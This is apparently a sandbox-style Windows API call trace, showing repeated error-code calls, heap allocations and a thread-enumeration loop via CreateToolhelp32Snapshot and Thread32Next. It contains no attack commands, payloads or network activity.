SetLastError (dwErrCode=0x0) [0270.986] GetLastError () returned 0x0 [0270.986] SetLastError (dwErrCode=0x0) [0270.986] GetLastError () returned 0x0 [0270.986] SetLastError (dwErrCode=0x0) [0270.986] GetLastError () returned 0x0 [0270.986] SetLastError (dwErrCode=0x0) [0270.986] GetLastError () returned 0x0 [0270.987] SetLastError (dwErrCode=0x0) [0270.987] GetLastError () returned 0x0 [0270.987] SetLastError (dwErrCode=0x0) [0270.987] GetLastError () returned 0x0 [0270.987] SetLastError (dwErrCode=0x0) [0270.987] GetLastError () returned 0x0 [0270.987] SetLastError (dwErrCode=0x0) [0270.987] GetLastError () returned 0x0 [0270.987] SetLastError (dwErrCode=0x0) [0270.987] GetLastError () returned 0x0 [0270.987] SetLastError (dwErrCode=0x0) [0270.987] GetLastError () returned 0x0 [0270.987] SetLastError (dwErrCode=0x0) [0270.987] GetLastError () returned 0x0 [0270.987] SetLastError (dwErrCode=0x0) [0270.988] GetLastError () returned 0x0 [0270.988] SetLastError (dwErrCode=0x0) [0270.988] GetLastError () returned 0x0 [0270.988] SetLastError (dwErrCode=0x0) [0270.988] GetLastError () returned 0x0 [0270.988] SetLastError (dwErrCode=0x0) [0270.988] GetLastError () returned 0x0 [0270.988] SetLastError (dwErrCode=0x0) [0270.988] GetLastError () returned 0x0 [0270.988] SetLastError (dwErrCode=0x0) [0270.988] GetLastError () returned 0x0 [0270.988] SetLastError (dwErrCode=0x0) [0270.988] GetLastError () returned 0x0 [0270.989] SetLastError (dwErrCode=0x0) [0270.989] GetLastError () returned 0x0 [0270.989] SetLastError (dwErrCode=0x0) [0270.989] GetLastError () returned 0x0 [0270.989] SetLastError (dwErrCode=0x0) [0270.989] GetLastError () returned 0x0 [0270.989] SetLastError (dwErrCode=0x0) [0270.989] GetLastError () returned 0x0 [0270.989] SetLastError (dwErrCode=0x0) [0270.989] GetLastError () returned 0x0 [0270.989] SetLastError (dwErrCode=0x0) [0270.989] GetLastError () returned 0x0 [0270.989] SetLastError (dwErrCode=0x0) [0270.989] GetLastError () returned 0x0 [0270.989] SetLastError (dwErrCode=0x0) [0270.989] GetLastError () returned 0x0 [0270.990] SetLastError (dwErrCode=0x0) [0270.990] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x2b) returned 0xe61788 [0270.990] GetLastError () returned 0x0 [0270.990] SetLastError (dwErrCode=0x0) [0270.990] GetLastError () returned 0x0 [0270.990] SetLastError (dwErrCode=0x0) [0270.990] GetLastError () returned 0x0 [0270.990] SetLastError (dwErrCode=0x0) [0270.990] GetLastError () returned 0x0 [0270.990] SetLastError (dwErrCode=0x0) [0270.990] GetLastError () returned 0x0 [0270.990] SetLastError (dwErrCode=0x0) [0270.990] GetLastError () returned 0x0 [0270.990] SetLastError (dwErrCode=0x0) [0270.990] GetLastError () returned 0x0 [0270.990] SetLastError (dwErrCode=0x0) [0270.991] GetLastError () returned 0x0 [0270.991] SetLastError (dwErrCode=0x0) [0270.991] GetLastError () returned 0x0 [0270.991] SetLastError (dwErrCode=0x0) [0270.991] GetLastError () returned 0x0 [0270.991] SetLastError (dwErrCode=0x0) [0270.991] GetLastError () returned 0x0 [0270.991] SetLastError (dwErrCode=0x0) [0270.991] GetLastError () returned 0x0 [0270.991] SetLastError (dwErrCode=0x0) [0270.991] GetLastError () returned 0x0 [0270.991] SetLastError (dwErrCode=0x0) [0270.991] GetLastError () returned 0x0 [0270.991] SetLastError (dwErrCode=0x0) [0270.991] GetLastError () returned 0x0 [0270.992] SetLastError (dwErrCode=0x0) [0270.992] GetLastError () returned 0x0 [0270.992] SetLastError (dwErrCode=0x0) [0270.992] GetLastError () returned 0x0 [0270.992] SetLastError (dwErrCode=0x0) [0270.992] GetLastError () returned 0x0 [0270.992] SetLastError (dwErrCode=0x0) [0270.992] GetLastError () returned 0x0 [0270.992] SetLastError (dwErrCode=0x0) [0270.992] GetLastError () returned 0x0 [0270.992] SetLastError (dwErrCode=0x0) [0270.992] GetLastError () returned 0x0 [0270.992] SetLastError (dwErrCode=0x0) [0270.992] GetLastError () returned 0x0 [0270.992] SetLastError (dwErrCode=0x0) [0270.992] GetLastError () returned 0x0 [0270.993] SetLastError (dwErrCode=0x0) [0270.993] GetLastError () returned 0x0 [0270.993] SetLastError (dwErrCode=0x0) [0270.993] GetLastError () returned 0x0 [0270.993] SetLastError (dwErrCode=0x0) [0270.993] GetLastError () returned 0x0 [0270.993] SetLastError (dwErrCode=0x0) [0270.993] GetLastError () returned 0x0 [0270.993] SetLastError (dwErrCode=0x0) [0270.993] GetLastError () returned 0x0 [0270.993] SetLastError (dwErrCode=0x0) [0270.993] GetLastError () returned 0x0 [0270.993] SetLastError (dwErrCode=0x0) [0270.993] GetLastError () returned 0x0 [0270.993] SetLastError (dwErrCode=0x0) [0270.994] GetLastError () returned 0x0 [0270.994] SetLastError (dwErrCode=0x0) [0270.994] GetLastError () returned 0x0 [0270.994] SetLastError (dwErrCode=0x0) [0270.994] GetLastError () returned 0x0 [0270.994] SetLastError (dwErrCode=0x0) [0270.994] GetLastError () returned 0x0 [0270.995] SetLastError (dwErrCode=0x0) [0270.995] GetLastError () returned 0x0 [0270.995] SetLastError (dwErrCode=0x0) [0270.995] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x98) returned 0xe617c0 [0270.995] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x1f) returned 0xe61860 [0270.995] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x28) returned 0xe61888 [0270.995] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x37) returned 0xe618b8 [0270.995] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x3c) returned 0xe618f8 [0270.995] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x31) returned 0xe61940 [0270.995] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x14) returned 0xe61980 [0270.995] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x24) returned 0xe619a0 [0270.995] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0xd) returned 0xe619d0 [0270.995] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x17) returned 0xe619e8 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x2b) returned 0xe61a08 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x15) returned 0xe61a40 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x17) returned 0xe61a60 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x22) returned 0xe61a80 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0xe) returned 0xe61ab0 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0xc2) returned 0xe61ac8 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x3e) returned 0xe61b98 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x1b) returned 0xe61be0 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x1d) returned 0xe61c08 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x48) returned 0xe61c30 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x12) returned 0xe61c80 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x18) returned 0xe61ca0 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x1b) returned 0xe61cc0 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x24) returned 0xe61ce8 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x29) returned 0xe61d18 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x1e) returned 0xe61d50 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x6b) returned 0xe61d78 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x17) returned 0xe61df0 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x14) returned 0xe61e10 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0xf) returned 0xe61e30 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x16) returned 0xe61e48 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x28) returned 0xe61e68 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x27) returned 0xe61e98 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x12) returned 0xe61ec8 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x21) returned 0xe61ee8 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x10) returned 0xe61f18 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x1c) returned 0xe61f30 [0270.996] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x12) returned 0xe61f58 [0270.996] HeapFree (in: hHeap=0xe60000, dwFlags=0x0, lpMem=0xe607c8 | out: hHeap=0xe60000) returned 1 [0270.998] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe607c8 [0270.998] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x800) returned 0xe61f78 [0270.998] RtlSizeHeap (HeapHandle=0xe60000, Flags=0x0, MemoryPointer=0xe607c8) returned 0x80 [0271.003] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x50) returned 0xe60850 [0271.004] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x2c) returned 0xe608a8 [0271.004] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x100) returned 0xe608e0 [0271.004] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x1c) returned 0xe609e8 [0271.004] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x4c) returned 0xe60a10 [0271.005] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x148 [0271.010] Thread32First (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.011] GetCurrentProcessId () returned 0xe08 [0271.011] GetCurrentThreadId () returned 0xe0c [0271.011] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.012] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.012] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.013] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.014] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.014] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.015] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.016] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.016] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.017] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.018] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.019] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.019] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.020] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.021] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.021] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.022] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.023] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.023] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.024] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.025] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.026] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.027] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.027] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.028] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.029] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.029] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.030] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.031] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.031] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.032] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.032] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.033] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.034] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.035] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.035] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.036] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.036] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.037] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.038] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.038] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.039] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.040] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.040] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.041] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.042] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.042] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.043] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.044] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.044] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.045] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.046] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.046] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.047] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.048] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.048] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.049] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.050] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.050] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.051] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.051] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.052] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.053] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.053] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.054] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.055] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.055] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.056] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.057] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.057] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.058] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.058] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.059] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.060] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.060] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.061] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.062] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.062] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.063] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.064] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.064] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.065] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.066] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.066] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.067] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.068] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.068] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.069] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.070] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.072] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.073] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.074] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.074] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.075] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.076] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.076] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.077] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.078] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.078] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.079] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.080] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.081] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.081] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.082] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.083] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.083] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.084] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.085] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.085] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.086] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.087] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.087] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.088] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.089] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.090] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.090] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.094] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.094] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.095] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.096] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.100] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.101] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.102] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.102] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.103] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.104] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.104] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.105] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.106] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.106] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.107] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.108] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.109] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.109] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.110] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.110] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.111] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.112] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.113] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.114] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.114] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.115] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.118] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.119] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.120] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.121] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.121] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.122] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.123] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.124] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.125] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.125] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.126] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.127] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.128] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.129] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.130] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.130] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.131] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.132] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.133] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.133] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.134] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.134] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.135] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.136] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.136] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.137] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.137] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.138] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.139] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.139] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.140] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.140] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.141] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.142] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.142] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.143] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.145] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.146] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.146] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.147] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.147] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.148] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.149] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.149] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.150] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.151] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.151] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.152] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.153] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.153] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.154] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.155] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.155] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.156] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.157] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.157] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.158] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.159] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.161] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.161] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.162] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.163] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.164] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.165] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.165] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.166] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.166] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.167] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.168] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.168] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.169] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.170] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.170] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.171] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.172] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.172] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.173] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.174] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.174] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.175] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.176] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.176] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.177] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.178] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.178] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.179] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.180] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.180] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.181] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.181] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.182] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.183] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.183] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.184] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.185] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.185] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.186] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.186] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0271.187] 